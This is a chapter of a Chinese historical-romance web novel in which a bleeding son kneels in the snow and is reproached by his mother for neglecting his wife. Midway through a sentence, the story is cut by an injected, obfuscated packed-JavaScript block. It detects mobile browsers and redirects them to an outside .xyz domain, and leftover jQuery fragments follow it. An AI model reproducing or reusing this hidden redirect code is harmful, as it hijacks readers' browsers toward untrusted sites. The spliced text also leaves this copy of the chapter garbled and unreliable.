51. 加把火

“要跪就到雪地里跪个够,跑到有瓦遮头的地方做戏给谁看?”


雪沫冰渣一股脑涌入口鼻,沈长风猛吸一口气,却被更深的窒息感裹挟,他被呛得剧烈咳嗽起来,每一次喘息都带出浑浊的嗬嗬声,像有把钝斧在凿磨他的颅腔。


他像被剔除了所有筋骨,软塌塌歪在泥地上,试了好几次以手撑地想要爬起,却无一不易失败告终。


他半佝偻着背倒在雪地里,额发贴在青灰色的皮肤上,肿胀双目紧阖,呼出的粗气将雪地染红,手脚偶尔抽搐一下,像一条濒死的狗。


守卫也算是看着沈长风长大的,印象中他是意气风发的少年郎,矜贵峻拔的天之骄子,何曾见过他这般难堪的凄凉模样?守卫满肚子心酸,唏嘘不已,不忍再看,将头偏了过去。


沈察礼瘪着嘴,眼泪簌簌地落,望向柳如画。


柳如画亦无言垂泪,朝儿子轻轻摇了摇头。


也许是因为太冷了,倒让身上的剧痛变得更容易接受,沈长风能感觉到流血速度减缓,灵台逐渐恢复几分清明。


雪花落在眼睑上,被血痂锈着的眼帘逐渐有了松动痕迹。他忍着皮肉撕扯的剧痛,一点点挣扎尝试掀开肿胀的眼皮,怕李婕宜走,他嘶哑着嗓,急急道:“求母亲,收回成命。”


李婕宜回道:“你若还是个男人,就该大大方方将字签了!”


沈长风指尖感觉到了冷,终于有了些许力气,他缓慢撑起身,低垂着头,犹如年久失修的提线木偶般瘫坐着,“儿臣不愿。”


“以往的事都事出有因,我已和她作出承诺,今后不叫她受半分委屈……”


“事出有因?”


沈长风所有力气都用在说话上,根本没留意到李婕宜说话语气有几分古怪。


这些事要一一厘清又岂是三言两语能说得清的,沈长风咽下口腥甜,先将最紧要的解释了:“苏沁雪肚子里的孩子不是我的,那天在王府,秦廷已经承认他是孩子的生父。”


那天沈长风将苏沁雪送回房后并未停留,而苏沁雪喝醉后模糊了时辰,在房中睡了一觉醒来,还以为是刚回到房,半梦半醒之间听到有人叫了一声:“嫂子?”


烛火昏暗,苏沁雪睁着醉眼望去,见屏风后站着一个踟蹰的高大身影,只以为是守着自己的沈长风。


彼时她正因秦衍的死难过,只觉得心胸堵满了郁结之情无处纾解,这声“嫂子”更是勾起她万般心绪,既恨他借这个称呼来勾起她的伤心事,又恼他多日以来对她的疏离,他难道不知自己最恨他这样叫自己?!思及此,她嗔怒道:“我再也不想见到你!滚出去!”


那帘后之人见她发火,只以为自己唐突了她,顿觉愧疚不安,转身逃似的要走出去。


苏沁雪一见人要走,心肝儿一颤,泣不成声:“不许走,你走了就再也不要回来了!”


那人马上又顿住了脚,正不知是进是退时,身后人紧紧抱住了他的腰,呵气如兰:“我好难过,你留下来陪我说说话,好吗?”


疾风吞噬摇曳的烛火,情至浓时,苏沁雪禁不住喊出他的名字,黑暗中的人蓦地停住了动作,可苏沁雪正是沉沦满足之时,并未察觉这点异常。


回忆起自小跟在自己身边的秦廷,沈长风五味杂陈:“秦廷当日装束与我相似,再者他从小便有意无意模仿我的举止言行、说话腔调,苏沁雪才会将他认作我。”


不见回应,他艰难掀起眼帘,看到几个朦胧人影立于屋檐下,当中一个身穿单薄绫罗大衫,站得离自己最远——这便是自己的母亲了。


淡红的视野中,李婕宜的面容逐渐变得清晰。她白净的脸如古潭无波,嘴角却轻轻扬起,笑意缥缈,带着不易察觉的戏谑。


沈长风太熟悉这样的神情了。


他定睛到她的脸上,解释的话头顿住,问:“你是不是想说,为什么你没有拒绝将她送回房?”


李婕宜挑挑眉,不可置否的模样。


沈长风道:“你是不是还想说,你为什么要和她住在同一个屋檐下,你为什么要帮衬秦家主持丧仪?”


李婕宜脸上变得阴沉,并不作答。


沈长风“呵”了声,“您可真是一点儿也不变。”无论他做什么解释,在李婕宜眼里都是他都在扯谎,因为她厌恶他,连同他做的所有事都是错的。自小便是这样,只要有人在国子监打架斗殴,她都会先入为主觉得是他先惹的事。


沈长风那副看破了一切的神色无疑激怒了李婕宜,因为她这次恰好还真是知道内情的。


倒不是她有多关心他主动跑去探查了,而是因为她在回京路上偶遇当年给她接生的副将常远,是常远告诉她的。


李婕宜发怒的原因并不是她不信沈长风,而是觉得他的解释简直是狗屁不通,他根本没意识到自己错在何处。


“孩子的父亲是秦廷又如何?秦家是会大张旗鼓地敲锣打鼓庆祝?还是会张贴榜文向众人宣告?你以为这一切已经结束了?我告诉你,都不会!所有人都会觉得你们曾经厮混在一起,所有人都会觉得那个孩子是姓沈而不姓秦!”


沈长风被她的话一噎,这些天他忙于修补与林媚珠的关系,从来没往这方面深究。


“你不仅丢了沈家的脸,还让天家蒙羞。”


“我何错之有!我连她一根手指头都没碰过!”


李婕宜斥道:“你错就错在,明知道她答应与秦衍成亲是为了激你,可你却佯装无事人一样,不将所有话挑明白!你错就错在,明知她一直对你余情未了,却还隔三差五与她接触!你所有的含糊其辞,该断不断,在别人看来都是默认的暗示甚至是鼓励!”


沈长风肋间怒气呼哧呼哧地响,浑身气血翻涌,他当时不过是觉得有些事情点到为止心知肚明便好,说得太直白会伤了三人之间情分,这怎么就成了自己的错了呢?


李婕宜一句话将他的反驳堵回了肚子:“你当时没有言辞犀利地回绝,究竟是因为相信所谓的‘清者自清’,还是因为你的虚荣心在作祟?”


空气默了一瞬,只有萧萧风声。


沈长风和苏沁雪青梅竹马,后来秦家进京,沈长风在国子监结识了秦衍,苏秦二人这才有了接触的机会。而后越来越多的人将秦衍和沈长风放在一起比较,他们一人从文一人从武,各有所长,但相较于飞扬跋扈的沈长风,沉稳聪睿的秦衍无疑是更受人喜爱的那一个,就连苏谈起秦,也都是带着赞赏之意的。


李婕宜看破不说破,沈长风固然是敬重秦衍的,然而当时他年少气盛,真的不会暗自将自己与秦衍相比吗?当秦衍赢得了所有人的赞誉时,沈长风真的没有利用苏沁雪的痴恋中获得心理平衡吗?


沈长风喉头塞滞挤出几个字:“我没有。”


李婕宜懒得揭穿他,又道:“就算你和苏沁雪真的是清白的又如何?你千不该万不该,让这些人放肆到正主面前。”


“这些人里面,最无辜的就是你的妻子,最为难的也是你的妻子。她没有做错任何事,却要


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503383|160180||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


因为你平白遭受无妄之灾。她若是不闻不问,会被宗亲耆老责难没尽好妻子的责任,导致内闱乱斗;她若是出面干涉,又会被人说擅嫉,没有容人之量。”想起市井坊间对林媚珠的离谱评价,李婕宜缓缓摇头,“此事不谈,那借护妻之名怒杀佞臣又该从何讲起?”


“你的名声是好了,你的宏图大业实现了,可你将她推到了风口浪尖上,你有想过她会被人怎么议论吗?你有没有问过她,她愿不愿意?”


“你永远不知道对于一个女人来说,流言蜚语的杀伤力会有多大,也永远体会不了被周围人排挤、孤立是什么感觉。可自嫁入王府,她过的都是风刀霜剑严相逼的日子。而这一切的源头,都是因为你。”


沈长风心神大乱,忽然浑身发冷,背后却渗出涔涔汗水,这并非风雪带来的严寒,而是发自内心深处的战栗,他的心被猛地攥紧,胸腔的疼痛让他喘不上气,他有瞬间的茫然,而后犹如醍醐灌顶,想通了一切。


他要隐藏身份,所以亲手将自己的婚事搅成闹剧;在发现林媚珠对自己的心意后,他越发肆无忌惮,借用她树立自己荒诞不羁的形象,每次大施拳脚时都不自觉将她当成了踏脚石。


后来她不像以前那样对自己好了,他开始觉得奇怪,为什么她不听话?为什么她还不满意?自己都妥协让步了,她还想要怎么样?


他以为他们的感情出现破裂是因为苏沁雪,是因为初七,却根本没想过最大的问题出现在自己身上。


这一切的一切,都是因为轻视。


爱得太满会滋生轻视。他一边理所应当占用享受着她披肝沥胆的爱意,一边又看不起这样盲目低廉的感情,从一开始,他就没想过要了解她的过去,也没有认真聆听过她的心声。他以往总看不懂,每日自己想办法哄她开心的时候,她定定看着自己,眼底那点凄清寂寥之色到底代表着什么。


现在他明白了,那是希望落空后的失望和哀伤。她其实一直都在给他机会,是他一次又一次浪费了。她看清了他的死性不改,看清了两人最后的结局,她的面容恢复了平淡,再不会因为自己再起任何波动。


他们走到今天这一步,全是他一手造成的。


时间似乎陷入了凝滞,一瞬间,悔恨、自责、不安等万千种滋味涌上心头,他的心肺犹如被巨石所压,五脏六腑的闷痛延绵不绝,他的目光急切,又含着无限眷恋,越过院落,穿过曲折的游廊,盯着那扇紧闭的如意门不肯放,他知道林媚珠就在里面,他想象着那扇门能在某个瞬间打开,希望她能从中走出,能再给他一次机会。


然而那扇门始终纹丝不动。


“帮帮我……母亲,你帮帮我。”


就像所有动物在遇到巨大的困境或危难时的本能,他下意识转向他的母亲寻求庇护和帮助,从来没在李婕宜面前低过头的沈长风弯下了脊背,他以膝跪地,缓缓前行,在雪地中拖出两行长长血泪,近乎哀求般望向李婕宜:“娘,你帮帮我……”


李婕宜低垂着头,听到他的呼唤,慢慢将头抬起,她的神情缓和下来,眸子逐渐晕上柔和水意,似乎深受动容。


她朝他的方向走来,一向沉稳的脚步竟有几分急切。沈长风的眼眸升起希冀的光亮,眼角一酸,险些坠下泪来,说到底,他们是亲母子啊,血浓于水,终究是难以割舍的……


然后他眼睁睁看着李婕宜直直越过他,听到心疼又欣喜地声音在身后响起:“初七,你怎么这个时候来了?冷不冷?怎么不坐轿子?”